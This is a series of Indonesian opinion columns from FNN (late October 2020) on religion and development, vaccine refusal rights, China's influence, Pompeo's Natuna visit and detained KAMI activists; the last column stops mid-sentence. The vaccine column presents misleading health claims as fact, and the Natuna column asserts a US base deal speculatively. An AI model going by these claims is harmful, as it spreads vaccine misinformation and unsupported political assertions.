by M Rizal Fadillah Bandung FNN – Ahad (01/11). Banyak penguasa terlalu berorientasi pada pembangunan fisik semata. Lupa pada kewajiban fundamental untuk membangun kekuatan nilai spiritual keagamaan. Prestasi kekuasaan diwujudkan dengan sukses membangun infrastruktur fisik. Inilah fatamorgana kehidupan berbangsa dan bernegara. Wisata sejarah itu penting untuk menemukan kearifan memimpin, khususnya dalam menata sistem kemasyarakatan dan kenegaraan. Belajar dari sejarah yang diinformasikan oleh Maha Pencipta tentu sarat dengan nilai, tingkat akurasi yang tidak diragukan. Nilai-nilai keberannya menjadi mutlak dan hakiki. Tidak ada yang perlu diragukan. Sayangnya, penguasa zaman sekarang, masih banyak yang mau meragukan kebenaran yang datangnya dari Maha Pencipta tersebut. Dalam QS Al Fajr, Allah Subhanahu Wata’ala mengingatkan tiga jenis penguasa dan kaum yang salah orientasi, yaitu kaum Aad, kaum Tsamud, dan Fir'aun. Ketiga-tiganya digambarkan sukses melakukan pembangunan fisik. Kaum Aad dipuji. Karena kemampuan dalam membuat istana dengan bangunan yang indah dan megah "iroma dzatil 'imaad". Nabi Hud Alaihi Salam yang mengajak takwa diabaikan. Allah Subhanahu Wata’ala menurunkan angin badai dingin selama delapan hari yang menghancurkan kau Aad. Kaum Tsamuud juga memiliki kemampuan dalam bidang teknologi tinggi "alladziina jaabuush shohro bil waad". Gunung atau lembah yang dibuat rumah dan bangunan megah. Gunung batu yang ditatah rapi. Seruan moral Nabi Saleh tidak didengar. Lalu Fir'aun juga yang disebut Qur'an memiliki bangunan-bangunan yang tinggi dan kokoh "wa fir'auna dzil autaad". Oposisi Fir'aun adalah Nabi Musa Alaihi Salam yang melakukan gerakan pembebasan Bani Israel. Fir'aun berusaha menumpas Musa dan pengikutnya. Kepada tiga penguasa atau pengendali sistem yang sewenang-wenang di muka bumi tersebut Allah Subhanahu Wata’ala beri hadiah kehinaan berupa adzab. Sebutannya adalah cemeti adzab "shobba 'alaihim shauto adzaab". Dicambuknya kaum dan penguasa infrastruktur yang hebat-hebat tersebut dengan variasi model. Kaum Aad diganjar dengan angin badai hingga tak tersisa, kecuali yang beriman. Mereka hancur berantakan dan bergelimpangan. Sedangkan kaum Tsamuud mati dengan cemeti adzab petir dan guntur bersuara keras. Bergelimpangan pula mereka. Sedangkan Fir'aun dan tentaranya ditenggelamkan di laut merah (bahrul ahmar) yang terkecoh pandangan "jalan tol" kezaliman. Faham materialisme yang sarba materi dalam berbagai bentuk, baik itu yang liberalisme, kapitalisme, komunisme, pragmatisme, atau sekularisme yang dikembangkan dan menjadi filisofi dalam membangun negeri tidak lain adalah Aad, Tsamud, dan Fir'aun kontemporer. Sekarang sedang dicoba untuk dihidupkan kembali pemahaman pembangunan yang serba infrastruktur hebat tersebut. Agama dan ketauhidan dalam wujud ketaatan ilihiah adalah basis pembangunan yang diridloi Allah Subhanahu Wata'ala. Mengabaikan aspek agama dan ketauhidan ini akan menjadi kausa dari cambukan cemeti adzab (shautho adzab) yang tak tertahankan. Hanya adzab dan kecelakaan yang pasti menanti, entah kapan datangnya. Hanya persoalan waktu saja. Namun pasti datang. Untuk itu, sebelum segala sesuatunya menjadi terlambat, para pemimpin bangsa dan negara Indonesia harusnya kembali sadar akan makna pembangunan yang hakiki. Agama adalah fondasi bukan periferi. Jangan coba-coba untuk pinggirkan agama. Apalagi sampai hinakan dan permainkan agama. Jika iya, maka tunggulah datangnya aparat Allah Subhanahu Wata’ala yang akan mencambukan cemeti adzab. Wisata sejarah akan sampai pada pemandangan yang mengerikan akibat dari salah persepsi, ideologi, dan investasi. Penulis adalah Pemerhati Politik dan Keagamaan.

Rakyat Boleh Tolak Vaksin Covid Bermasalah

by Mochamad Toha Surabaya FNN – Ahad (01/11). Diberitakan, tiga Uskup senior Australia mengkritik keras Vaksin Corona/COVID-19 buatan Universitas Oxford, Inggris dan perusahaan farmasi AstraZeneca yang memiliki masalah etis. Karena terbuat dari sel-sel janin yang sengaja digugurkan. WowKeren Aug 26, 2020 menulis, Universitas Oxford, bersama dengan perusahaan farmasi AstraZeneca tengah mengembangkan vaksin untuk Covid-19. Vaksin tersebut telah dipesan oleh Pemerintah Australia. Sayangnya, vaksin itu justru menuai kritikan keras dari tiga orang uskup senior Australia, lantaran memiliki masalah etis karena terbuat dari sel-sel janin yang sengaja digugurkan. Pemerintah Australia pada Senin (24/8/2020) mengatakan, komunitas keagamaan tak perlu risau. Karena tak ada masalah etis terkait vaksin yang sudah dipesan 25 juta dosis itu. Vaksin Covid-19 milik AstraZeneca saat ini menjadi kandidat paling siap untuk diproduksi dan jadi rebutan banyak negara. Seperti yang pernah saya tulis sebelumnya, praktik seperti itu sudah biasa dilakukan dalam dunia medis. Namun, pada Kamis (20/8/2020), Uskup Agung Gereja Anglikan, Glenn Davies, Uskup Agung Sidney (Katolik), Anthony Fisher, dan pemimpin Gereja Ortodoks Yunani Australia, Uskup Makarios Griniezakis menyatakan keberatannya terkait vaksin Covid-19. Mereka mengirim surat kepada PM Australia Scott Morrison. Para uskup itu mengatakan, mendukung adanya vaksin COVID-19, tetapi penggunaan “sel-sel janin sesungguhnya adalah sesuatu yang sangat tidak bermoral.” Terlepas dari polemik para uskup Australia tersebut, apakah rakyat atau warga negara di Indonesia punya hak untuk menolak vaksinasi atau imunisasi? Meski Pemerintah sudah mengeluarkan “Surat Perintah” vaksinasi Covid-19? Berhak Menolak Seperti disebutkan di dalam Undang-Undang Praktik Kedokteran Nomor 29 Tahun 2004, Hak dan Kewajiban Pasien Pasal (52), pasien dalam menerima pelayanan pada praktik kedokteran dan kesehatan mempunyai hak. Pertama, mendapatkan penjelasan secara lengkap tentang tindakan medis sebagaimana dimaksud pasal 45 ayat (3). Kedua, meminta pendapat dokter atau dokter yang lain. Ketiga, mendapatkan pelayanan sesuai dengan kebutuhan medis. Keempat, menolak tindakan medis. Kelima, mendapatkan isi rekam medis. Pasien bisa menyatakan menolak dilakukannya tindakan Vaksinasi atau Imunisasi padanya dengan enam belas alasan. Pertama, UUD 1945 Pasal 29 ayat 2, “negara menjamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan beribadah menurut agamanya dan kepercayaannya itu”. Hal ini terkait status kehalalan vaksin yang sudah diberitahukan MUI bahwa vaksin pada anak belum bersertifikasi halal. Menjalani hidup dan kehidupan adalah pilihan, halal dan haram adalah ketentuan. “La iqraha fiddin”. Tidak ada pemaksaan dalam agama. Apalagi untuk perkara duniawi. Kedua, UUD 1945 pasal 28G ayat 1, “setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, dan harta benda dibawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan hak asasi”. Jadi, setiap orang berhak mendapatkan rasa aman dan bebas dari ancaman. Ketiga, UUD 1945 Pasal 28I ayat 1-2. (1).“Hak untuk hidup, hak untuk tidak disiksa, hak kemerdekaan pikiran, dan hati nurani, hak beragama, hak untuk tidak diperbudak, hak untuk diakui sebagai pribadi dihadapan hukum, dan hak untuk tidak dituntut atas dasar hukum yang berlaku surut adalah Hak Asasi Manusia yang tidak dapat dikurangi dalam keadaan apapun”. (2). ”Setiap orang berhak bebas dari perlakuan diskriminatif atas dasar apapun dan berhak mendapatkan perlindungan terhadap perlakuan yang bersifat diskriminatif”. Keempat, Pasal 28b ayat 2, “setiap orang berhak atas kelangsungan hidup, tumbuh dan berkembang, serta berhak atas perlindungan dari kekerasan dan diskriminasi”. Dengan demikian, pasien atau rakyat berhak atas perlindungan dari intimidasi serta diskriminasi karena pilihan untuk tidak memberikan vaksin pada anaknya. Kelima, Permenkes No.290/Menkes/Per/III/2008 dan UU Nomor 29 Tahun 2004 Pasal 45, tentang informed consent, yaitu persetujuan tindakan kedokteran yang diberikan oleh pasien atau keluarga terdekatnya setelah mendapatkan penjelasan secara lengkap mengenai tindakan kedokteran yang akan dilakukan terhadap pasien. Di Indonesia, informed consent secara yuridis formal terdapat pada pernyataan Ikatan Dokter Indonesia (IDI) melalui SK PB-IDI No. 319/PB/A.4/88 Tahun 1988, dipertegas lagi dengan Permenkes No. 585 Tahun 1989 tentang persetujuan tindakan medik/informed consent. Keenam, UU Nomor 35 Tahun 2014 Pasal 3 ayat 1, “negara, pemerintah, dan pemerintah daerah menjamin perlindungan, pemeliharaan, dan kesejahteraan anak dengan memperhatikan hak dan kewajiban orang tua, wali, atau orang lain yang secara hukum bertanggung jawab terhadap anak”. Ketujuh, UU Nomor 35 Tahun 2014 Pasal 45 ayat 1, “orang tua dan keluarga bertanggung jawab menjaga kesehatan anak dan merawat sejak dalam kandungan”. Ini bentuk perlindungan rakyat atas status kehalalan dan keamanan vaksin dan perlindungan terhadap Kejadian Ikutan Paska Imunisasi (KIPI), Efek Negatif Vaksin, Vitamin K Sintetis dan sejenisnya. Kedelapan, UU Nomor 33 Tahun 2014 tentang jaminan produk halal, produk halal adalah produk yang telah dinyatakan halal sesuai syariat islam yang masuk, beredar, dan diperdagangkan di wilayah Indonesia wajib bersertifikat halal. Kesembilan, UU Nomor 8 Tahun 1999 tentang perlindungan konsumen yang mengatur barang atau jasa yang bersifat halal. Kesepuluh, UU Nomor 23 Tahun 2002 tentang kewajiban memberikan perlindungan pada anak berdasakan asas-asas non diskriminasi, kepentingan terbaik bagi anak, hak hidup dan kelangsungan hidup, dan penghargaan terhadap pendapat anak. Kesebelas, UU Nomor 12 Tahun 2005 tentang pengesahan konvenan internasional tentang hak-hak sipil dan politik. Hak-hak sipil meliputi hak hidup, hak bebas dari siksaan, penghukuman yang kejam, tidak manusiawi, atau merendahkan martabat, hak atas praduga tak bersalah, hak kebebasan berpikir, hak berkeyakinan dan beragama, hak untuk mempunyai pendapat tanpa campur tangan orang lain, hak perlindungan anak, hak atas perlindungan hukum yang sama tanpa adanya diskriminasi. Keduabelas, UU Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik. Mengenai kehalalan vaksin yang ternyata belakangan dibantah oleh MUI dan Halal Watch. Mengenai kasus-kasus kejadian KIPI yang diinformasikan di media-media massa maupun media sosial dan penjelasan mengenai wabah. Ketigabelas, UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular, penjelasan pasal 5 ayat 1: “bahwa upaya penanggulangan wabah haruslah dilakukan dengan mempertimbangkan keadaan masyarakat setempat, antara lain agama. Status halal haram itu dalam agama Islam adalah hal yang essensial. Sedangkan Pasal 6, “bahwasannya keikutsertaan masyarakat dalam penanggulangan wabah tidak mengandung paksaan”. Keempatbelas, UU Kesehatan Nomor 36 Tahun 2009 pasal 5 ayat 2 dan 3, hak memperoleh pelayanan kesehatan yang aman dan hak menentukan sendiri pelayanan kesehatan yang diperlukan baginya. Sedangkan Pasal 7, tentang mendapatkan informasi dan edukasi yang seimbang dan bertanggung jawab. Pasal 8, berhak mendapatkan informasi tentang data kesehatan dirinya, termasuk tindakan yang telah dan akan diterima dari tenaga kesehatan. Kelimabelas, Permenkes Nomor 12 Tahun 2017, pasal 26 ayat 2 poin b, pengecualian penyelenggaraan imunisasi program bagi orang tua/wali yang menolak menggunakan vaksin yang disediakan pemerintah. Keenambelas, Fatwa MUI Nomor 4 Tahun 2016, ketentuan hukum, bahwa hukum imunisasi adalah mubah, kewajiban menggunakan vaksin yang halal dan suci. Sedangkan alasan darurat yang disyaratkan harus dengan fatwa ulama atau ahli terkait. Bukan fatwa dokter. Kewajiban pemerintah menyediakan vaksin halal dan melakukan sertifikasi halal kepada produsen vaksin sesuai dengan peraturaan perundang-undangan. Orang tua wajib memberikan dukungan pada program pemerintah, tapi pelaksanaan imunisasi itu tidak wajib, karena penceghan terhadap penyakit akibat virus atau bakteri bisa dilakukan dengan cara lain yaitu dengan meningkatkan antibodi. Terkait program vaksinasi untuk masyarakat yang mau menerimanya itu, maka kewajiban pemerintah untuk menjamin penyediaan vaksin yang Halal adalah “Mutlak”. Mereka wajib menyertakan alasan dan landasan hukum atas tindakan yang dipilih. Karena menolak, rakyat berhak menolak bentuk “intimidasi” dan “diskriminasi” serta menolak pemberian vaksin pada anaknya di luar sepengetahuannya. Bila tetap dilakukan, maka rakyat bisa mengajukan tuntutan hukum, baik terjadi pada Kejadian Ikutan Paska Imunisasi (KIPI) dalam jangka pendek ataupun panjang, ataupun tidak. Jika terjadi KIPI pada anak mereka, maka semua pihak yang terkait harus membiayai seluruh terapi dan pengobatan saat dan pasca KIPI Seumur Hidup anaknya. Bahwasannya anak-anak dan keluarga yang tidak divaksin maupun yang divaksin itu juga memiliki hak dan kewajiban yang sama di mata hukum. Karena itu rakyat menolak diskriminasi dan intimidasi atas keputusannya tersebut. Yang pasti, hingga kini WHO juga belum menyatakan ketersediaan Vaksin Covid-19 hingga 2021. Penulis adalah Wartawan Senior FNN.co.id.

China Semakin Dekat Mendominasi Dunia

by Asyari Usman Medan FNN – Ahad (01/11). Beberapa hari lalu, koran-koran internasional heboh dengan pernyataan mantan kepala badan intelijen Jerman, BND (Bundesnachrichtendienst), Gerhard Schidler bahwa China (RRC) semakin dekat ke posisi untuk mendominasi dunia. Menurut Gerhard Schindler, yang mengepalai BND dari 2011 sampai 2016, para penguasa China sangat pintar untuk meluaskan pengaruhnya sampai ke Eropa, Asia dan Afrika. Dia mengatakan kepada surat kabar The Times (terbitan London), Eropa harus segera bertindak. Menurut Schindler, teknologi China sangat canggih. Jerman tidak mampu untuk melihat apakah teknologi canggih itu digunakan China untuk tujuan jahat. Mantan bos badan intelijen luar negeri Jerman itu menyarankan agar Huawei dikeluarkan dari jaringan selular 5G. Pemerintah Amerika Serikat (AS) sudah lebih dulu menyatakan kekhawatiran bahwa Huawei bisa digunakan sebagai mata-mata oleh Partai Komunis China (PKC). Menurut Schindler, Huawei bisa saja membuat semacam “pintu belakang” pada sistem jaringan 5G-nya. Tidak akan ada yang bisa mengetahui apa sebenarnya yang mereka buat, kata dia. Sementara sektor telekomunikasi selular Jerman banyak bargentung pada perusahaan China ini. Semua operator 3G Jerman adalah klien Huawei. Dominasi China di pentas dunia kelihatannya memang lebih mungkin menjadi kenyataan. Negara komunis yang mempraktikkan sistem kapitalis itu kini menjadi mitra perdagangan utama banyak negara. Termasuk Indonesia. Sejak enam tahun belakangan ini, Indonesia memberikan preferensi khusus kepada China untuk berinvestasi. Untuk Jerman, menyingkirkan China nyaris tak mungkin. Sebagai contoh, setiap tahun perusahaan mobil mewah Jerman menjual 250 ribu unit kepada pembeli di China. Total perdagangan Jerman mencapai lebih U$ 210 miliar. Angka yang terbilang pantastis. Menurut perkiraan, dominasi AS akan semakin tergerus di masa-masa mendatang. Hingga saat ini, AS masih berstatus sebagai negara dengan perekonomian terbesar di dunia. Tetapi, posisi itu sedang dikejar oleh China. Lihat contoh lain. Seperti dilaporkan Asia Times, China bisa memproduksi baja yang diperlukan oleh seluruh dunia. Kalau mereka mau. Begitu juga dengan produk-produk lain. Kehebatan China adalah mereka tidak membuat barang-barang yang tak dibeli orang. Kekuatan ekonomi China itu menghasilkan devisa yang sangat besar. China memiliki cadangan devisa asing (CDA) hampir U$ 4 triliun beberapa tahun lalu. Uang yang banyak ini membuat mereka leluasa pula membangun perangkat keras militer, termausk kapal induk. Sekarang ini, China telah memiliki tiga kapal induk. RRC telah melakukan ekspansi militer terbesar dan tercepat sejak Perang Dunia Kedua –kalau tidak dalam sejarah dunia. Tentara Pembebasan Rakyat (PLA) bisa mengimbangi pasukan AS di sejumlah kawasan tertentu. Bahkan melebihi kekuatan negara adidaya itu di kawasan-kawasan lain. Tujuan akhir PKC ialah memiliki kekuatan militer yang sama seperti yang dimiliki Amerika. Beroperasi di seluruh dunia. Dan hal ini bukan sesuatu yang tak mungkin. Belakangan ini, Amerika melancarkan diplomasi gencar ke Asia Selatan dan Asia Tenggara. Baru saja Menteri Luar Negeri (Menlu) Michael Pompeo menekan kerja sama dengan Sri Lanka dan India. Amerika akan menjual senjata dalam jumlah besar kepada Delhi. Amerika merasa India akan menjadi teman untuk menghadapi ambisi dominasi China. Bagaimana dengan Indonesia? Ada beberapa catatan yang memprihatinkan. Pemerintah yang berkuasa saat ini menyanderakan diri kepada China sampai ke posisi yang menunjukkan kepariaan bangsa ini. Itu yang pertama. Yang kedua, terlihat para penguasa tidak menaruh curiga sedikit pun terhadap para TKA China yang masuk ke Indonesia. Schindler saja sangat curiga kepada Huawei. Penguasa di sini kok bisa bersangka baik kepada para TKA China yang kelihatan tak asing dengan dunia kemiliteran dan intelijen itu? Kita seharusnyalah percaya pada sistem keamanan negara ini. Kita mungkin tidak mampu berkontribusi untuk membendung dominasi China. Namun, sangatlah ironis jika kita sekarang ini mengambil posisi yang malah membantu percepatan wujud dominasi itu. Yang kemudian menjadikan Indonesia sebagai korban. Penulis adalah Wartawan Senior FNN.co.id.

Pompeo Sukses, Jadi Teringat Camdessus IMF

by M. Rizal Fadillah Bandung FNN – Sabtu (31/10). Akhirnya memang Pemerintah kita kelasnya ayam sayur. Kedatangan Menteri Luar Negeri (Menlu) Amerika Serikat Mike Pompeo sukses besar. Utamanya adalah implikasi penandatanganan bersama Menlu Retno Marsudi mengenai Kepulauan Natuna yang bakal "diserahkan" menjadi lahan investasi Amerika Serikat. Tentu saja target besar Amerika Serikat adalah membuat pangkalan militer di Natuna. Penguatan strategis dalam perseteruan dengan China. Menlu Pompeo berhasil meraih sukses besar. Sebab konflik di Laut China Selatan kini memasuki babak baru. Babak dimana bagian Indonesia akan menjadi pangkalan militer untuk tentara Amerika. Padahal China yang telah mengklaim Laut China Selatan sebagai milik warisan kesejarahan, akan sedikit terganggu dengan sikap Indonesia tersebut. Jika serius kerjasama dengan Amerika, dapat dibayangkan marahnya China kepada komprador Indonesianya. Entah langkah catur apa yang akan dimainkan. Melihat Michael Pompeo yang sedang menandatangani "kesepakatan" di meja, dan Menlu Indonesia Retno Marsudi berdiri tertunduk agak prihatin juga. Akhirnya menyerah dan Luhut pun "nyumput". Jadi teringat dahulu menjelang runtuhnya Orde Baru. Soeharto pada Januari 1998 menandatangani pinjaman dan kerjsama dengan International Monetery Fund (IMF). Sementara Michael Camdessus Direktur Palaksana IMF berdiri sambil bersedekap tangan. Terlihat gagah dan sukses. Pompeo sukses besar. Investasi Amewrika di bagian terluar kepulauan Natuna menjadi fase awal masuknya kepentingan Amerika ke kawasan. Dengan dalih pengamanan teritorial Indonesia, Amerika akan bebas hilir mudik di kepulauan Natuna. Faktualnya adalah optimalisasi fungsi pangkalan militer Amerika di area tersebut. Jokowi yang awal ketar-ketir, kini justru berposisi dan semakin terjepit antara dua tekanan Amerika dan China. Ikatan kuat dan matang dengan China harus terbentur ultimatum Amerika. Jika dari awal mengambil jalan konsisten "bebas aktif", mungkin saja konflik Amerika-China menjadi keuntungan besar bagi Indonesia. Namun kondisi itu kini sudah berbeda. Pilihan sulit di tengah pandemi dan krisis ekonomi. Kedatangan Menlu Pompeo bukan membawa berkah buat Pak Jokowi. Tetapi seperti buah simalakama. China tentu saja tidak akan tinggal diam. Daleman Istana sudah diketahui. Jika Istana belok-belok dalam bermain, mesti ada bayaran. Mungkin juga mahal. Jokowi bukan semakin kuat, tetapi malah bisa semakin goyah. Sikap ambivalensi selalu kalah di ujungnya. Sementara loyalitas yang diragukan akan dieliminasi pada akhirnya. Amerika yang menekan dapat memberi pil pahit bagi rezim. Dulu Michael IMF datang Januari 1998 dan Mei 1998 Soeharto jatuh. Kini Oktober 2020 Michael Pompeo datang, entah jatuh atau bertahankah Jokowi? Yang jelas rakyat sudah mulai mendesak. Pompeo sukses memainkan panggung diplomasi Amerika di Indonesia dan kawasan. Memang langkah diplomat kelas dunia. Sekali datang Natuna sudah di tangan. Indonesia dibuat kebingungan menghadapi jasa-jasa investasi dan "debt-trap" China. Jokowi bukan figur idealnya kelas Amerika. Jokowi juga mulai diragukan sebagai figur kuat pengaman kepentingan China. Jokowi mulai tidak aman. Apalagi nyaman. Sebab Jokowi tidak lagi mengakar. Kasus Rancangan Undang-Unang Haluan Ideologi Pancasila (RUU HIP) dan UU Omnibus Law Cipta Kerja (Cilaka) menempatkan Jokowi berhadapan dengan rakyat dan umat. TNI yang tergerus oleh Polri juga rentan untuk tetap menjadi pilar yang mengawal dan menyelamatkan Jokowi. Menlu Pompeo belum banyak bergerak, tetapi sudah membuat belingsatan Jokowi dan China. Menusuk pertahanan yang memang dari dulu juga sangat lemah. Pompeo sukses. Moga saja pak Jokowi tidak lari ke gorong gorong. Penulis adalah Pemerhati Politik dan Kebangsaan.

Dr. Syahganda Dkk Tidak Ada Delik Pidana

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN – Sabtu (31/10). Dr. Sahganda Nainggolan, Jumhur Hidayat, Anton Permana, Kongkin Anida dikenal sebagai eksponen Koalisi Aksi Menyelamatkan Indonesia (KAMI). Mereka dikenal cukup lama terbiasa berada di rute penuh tantangan menuju demokrasi. Intelek dan punya gairah besar untuk Indonesia yang lebih baik dari hari ke hari. Itulah jiwa dan ruh mereka sebagai aktivis sejak masih menjadi mahasiswa baru. Mudah tersentuh, sangat sensitive terhadap persoalan kemanusiaan, menjadi sisi terhebat lain, yang menandai mereka. Mungkin itulah yang membawa mereka berlabuh, mengikatkan haluan impiannya ke KAMI. Tetapi takdir politik punya cara sendiri menyapa mereka. Mereka kini ditahan oleh penyidik dari Kepolisian. Tidak mungkin penyidik tidak punya bukti untuk mengkualifikasi tindakan mereka sebagai tindak pidana. Demokrasi pun memugkinkannya, dan untuk itu demokrasi membimbing eksistensinya dengan hukum dan akal sehat. Bukan hukum abal-abal. Apakah Dr. Sahganda, Jumhur Hidayat, Anton Permana dan lainnya menyebarkan kabar bohong melalui media elektronik? Apakah mereka menyebarkan fitnah melalui media elektronik? Siapa yang difitnah? Kabar bohong mana menjadi sebab terdekat dan nyata terjadinya keonaran itu? Lalu apa itu onar? Andai mereka menyatakan pendapat terhadap suatu keadaan hukum. Misalnya demonstrasi atau boikot, yang telah diberitakan secara luas, dan telah diketahui umum, dimana letak melawan hukumnya? Kalau mereka menyatakan pendapat di media elektronik sosial (medsos) akan ikut demonstrasi yang telah diberitakan media, dimana letak bohongnya? Dimana juga hasut, fitnah, dan onarnya? Bila mereka merespon pernyataan pejabat, yang dalam alam pikir mereka, pernyataan itu tidak tepat, dimana juga letak melawan hukumnya? Bila menyiarkan atau menyebarkan pernyataan resmi, sebut saja KAMI, tetapi pernyataan itu telah lebih dahulu tersebar luas di media massa, dimana mengkualifikasinya sebagai melawan hukumnya? Logiskah penyebaran pernyataan itu melalui medsos milik mereka, dikageorikan sebagai menghasut? KUHP, UU Nomor 1 Tahun 1946, dan UU Nomor 19 Tahun 2016 Tentang Perubahan terhadap UU Nomor 11 Tahun 2008 Tentang Informasi dan Transaksi Elektronik (ITE), dapat diduga dipakai untuk menjerat mereka. Tidak diluar itu. Kabar bohong? Apapun kabar itu, absolut harus berisi sebagian atau seluruhnya tidak sesuai fakta yang obyektif. Tidak sesuai itu bisa disebabkan oleh penyebar kabar bohong tersebut dengan menambah-nambahkan keterangan di dalam kabar yang disebarkannya. Atau juga menghilangkan sebagian keadaan obyektif atau keadaan semula dari kabar yang disebarkannya. Sekali lagi, tidak bisa di luar itu. Bisa kacau balau hukum di negeri ini. Hanya dengan cara itu barulah kabar yang disebarkan itu dapat dikualifikasi mengandung unsur bohong. Mengapa begitu? Kabar adalah satu hal dan bohong juga satu hal. Tetapi keduanya terangkai menjadi satu dalam rumusan pasal sebagai unsur delik. Konsekuensinya, dua keadaan itu benar-benar harus diperiksa dan nyata-nyata ada. Bukan berdasarkan prediksi dan perkiraan yang bakal terjadi. Kabar itu harus bohong. Kabar bohong itu menjadi sebab terdekat dan nyata terjadinya keonaran. Keonaran juga merupakan unsur delik. Dalam hal semua unsur-unsur delik ini terpenuhi ada pada peristiwa penyebar kabar bohong. Kabar bohong itu menjadi sebab terjadinya keonaran. Dan keonaran itu benar-benar ada, barulah tindakan itu sah sebagai tindak pidana. Bagaimana bila satu saja dari keadaan-keadaan (unsur) delik itu tak terpenuhi? Misalnya kabarnya sendiri tidak bohong? Atau kabarnya benar-benar bohong, tetapi tidak terjadi keonaran? Ilmu hukum pidana tidak membenarkan untuk mengkualifikasinya sebagai tindak pidana. Tidak ada alasan lain selain itu. Titik. Lebih dari itu hanya tindakan mengada-ada dan sejenisnya. Orang-orang politik suka untuk menyebutnya penyalahgunaan kekuasaan. Apakah demonstrasi atau unjuk rasa merupakan perbuatan keonaran? Bila ya, masalahnya bagaimana menjelaskan unjuk rasa itu sebagai peristiwa hukum yang dimungkinkan oleh hukum positif di negeri ini? Mengapa hukum positif mengkualifikasi perilaku merintangi unjuk rasa sebagai tindak pidana? Dengan argumen apapun, unjuk rasa atau demonstrasi tidak dapat dikualifikasi sebagai satu peristiwa yang mengandung atau memiliki kapasitas sebagai peristiwa melawan hukum pidana. Konsekuensinya unjuk rasa atau demonstrasi tidak dapat dikualifikasi sebagai keadaan keonaran. Disebabkan unjuk rasa atau demonstrasi itu secara hukum bukan peristiwa pidana. Maka, siapapun yang menyatakan pendapatnya akan ikut atau ikut unjuk rasa itu, dengan alasan apapun, tidak dapat untuk dikualifikasi sebagai pidana. Andai pernyataan itu ditulis di media sosial elektronik jenis apapun, dan disebarkan, tetap saja tidak berkualifikasi sebagai pidana. Dapatkah pernyataan-pernyataan itu dikualifikasi secara hukum sebagai menghasut? Hal pertama yang harus diperiksa secara detail adalah, apakah pernyataan itu memiliki kapasitas melawan hukum? Sifat melawan hukum ada apabila pernyataan itu bersifat seruan. Walaupun seruannya tak sungguh-sungguh, agar orang yang diserukan atau dihasut itu melakukan perbuatan melawan hukum. Perbuatan melawan hukum menjadi inti, penentu, agar seruan itu dapat dikualifikasi secara hukum pidana sebagai hasutan. Tanpa itu, tidak bisa, dengan apapun alasannya. Tidak ada ilmu interpretasi di dunia ilmu hukum yang dapat dipakai untuk menginterpretasi perbuatan yang oleh hukum dinyatakan sebagai perbuan sah. Lalu diinterpretasi menjadi perbuatan yang tidak sah. Beralasankah untuk menyatakan pernyataan akan ikut demonstrasi, yang disampaikan atau disebarkan melalui media sosial elektronik, tidak dapat diberi kapasitas sebagai perbuatan menyebarkan kebencian? Terhadap soal ini harus diperiksa terlebih dahulu, apakah hal atau keadaan atau obyek yang diunjukrasa itu adalah hal atau keadaan atau obyek yang dilarang dalam hukum positif? Bila hal yang diunjukrasa itu dilarang dalam hukum positif, lalu orang menyatakan akan ikut unjuk rasa itu, dan pernyataan itu dimuat di media sosial elektronik dan disebarkan, maka perbuatan itu berkualifikasi menyebarkan kebencian. Jelas menyatakan ikut unjuk rasa memiliki kualifikasi melawan hukum. Sebaliknya bila hal, keadaan atau obyek yang diunjuk rasa tidak berkualifikasi melawan hukum. Karena tidak ditujukan pada individu, suku atau ras, atau golongan, maka pernyataan ikut demonstrasi itu, tidak dapat, dengan alasan apapun dikualifikasi melawan hukum. Pernyataan itu tak mengandung kebencian. Berunjuk rasa mendesak pemerintah mencabut satu UU, misalnya UU Omnibus Cipta Kerja, yang baru disahkan tanggal 5 Oktober 2020, bukan perbuatan melawan hukum. Pembuat UU tidak dapat, dengan alasan apapun, dikategeorikan sebagai individu, golongan, suku, ras atau apapun yang lainnya. Apakah oligarki, sebagai sebuah konsep dalam ilmu politik dan sosial, dapat dikageorikan secara hukum sebagai individu, golongan, suku, atau ras? Bila ya, soalnya adalah siapa mereka? Ini krusial. Mengapa? Bila oligarki diakui sebagai satu entitas hukum yang sah sebagaimana hukum mengakui setiap orang sebagai individu, kelompok, suku, agama, dan ras, maka soalnya seluruh ketentuan dalam UUD 1945, setidaknya seluruh ketentuan dalam Bab X UUD 1945 tentang Hak Asasi Manusia runtuh. Mengapa? Mengkualifikasi penalaran yang dinyatakan secara tertulis bahwa oligarki berdaulat atau memegang kedaulatan, sama hukumnya dengan menyatakan oligarki sebagai satu entitas hukum yang sah. Bila demikian halnya, maka oligarki diterima secara hukum sebagai natural person atau difiksikan atau diberi sifat persona sebagai manusia yang memiliki hak dan kewajiban hukum. Apa begitu? Tidak mungkin. Bung Hatta dan Soepomo Apapun alasannya? Sekali lagi, tindakan itu sama hukumnya dengan membatalkan semua teks hukum pada UUD 1945. Diperlukan kecermatan sungguh-sungguh. Sebab siapapun diantara Dr. Sahganda, Jumhur, dan Anton Permana hendak dipredikatkan melakukan kejahatan karena pernyataan itu. Apakah menteri memiliki predikat sebagai individu? Tidak bisa. Terminologi menteri menunjuk lingkungan hak dan kewajiban, sebagai kapasitas hukum sebuah jabatan. Menteri itu nama jabatan. Bukan nama individu. Individu adalah pemangku jabatan itu. Tetapi jabatan tidak sama dengan individu. Jabatan tidak dapat dipersonifikasi sebagai individu. Dalam hal pejabat itu mengeluarkan pernyataan, yang sejauh itu unsur-unsur obyektif dari keadaan yang ditunjuk menteri dalam pernyataan itu tak terverifikasi, sejak itu atau sesudahnya, dan itu menjadi sebab pejabat tersebut dikritik dengan sangat kasar. Bagaimana dan dengan cara apa memberi sifat melawan hukum pada kritik itu? Kata-kata kasar mau dijadikan penentu adanya sifat melawan hukum? Pada titik ini, terasa betul kebutuhan memeriksa secara utuh pikiran Profesor Soepomo dan Bung Hatta tentang Menteri sebagai Statesmanship. Pernyataan Prof Soepomo dan Bung Hatta itu disampaikan pada rapat BPUPKI membahas draf pertama UUD 1945 tanggal 13 Juli 1945. Bung Hatta menyatakan, “jadi ada baik disini kalau diadakan kemungkinan yang minister atau menteri bertanggung jawab, sebab kedua-duanya membuat undang-undang. Tambahan lagi tanggug jawab itu ada penting dalam gerakan kita dalam sususnan negara kita supaya yang memegang departemen itu betul-betul pemimpin-pemimpin rakyat”. Jangan nanti, begitu Bung Hatta melanjutkan, “semangat pegawai saja dengan tidak mempunyai tanggung jawab yang kuat menjalar dalam 